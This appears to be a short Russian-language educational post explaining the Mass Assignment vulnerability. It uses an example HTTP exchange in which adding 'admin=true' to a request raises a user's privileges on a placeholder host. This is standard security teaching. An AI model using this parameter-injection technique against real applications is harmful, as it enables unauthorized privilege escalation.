​​ Атака Mass Assignment



Программные фреймворки иногда позволяют разработчикам автоматически привязывать параметры HTTP-запроса к переменным кода программы или объектам, чтобы упростить использование этого фреймворка. Иногда это может причинить вред.



Злоумышленники могут использовать эту методологию для добавления новых параметров, которые разработчик не предполагал, что, в свою очередь, создает или перезаписывает объекты в программном коде.



Это называется уязвимостью Mass Assignment. Чаще всего встречается в Ruby on Rails или NodeJS.



Рассмотрим простой пример эксплуатации данной уязвимости.



Обычный запрос:

POST /editdata

Host: vuln.com

[...]

username=daffa



Ответ сервера:

HTTP/1.1 200 OK

[...]

username=daffa&admin=false



Измененный запрос:

POST /editdata

Host: vuln.com

[...]

username=daffa&admin=true



Ответ сервера:

HTTP/1.1 200 OK

[...]

username=daffa&admin=true



#web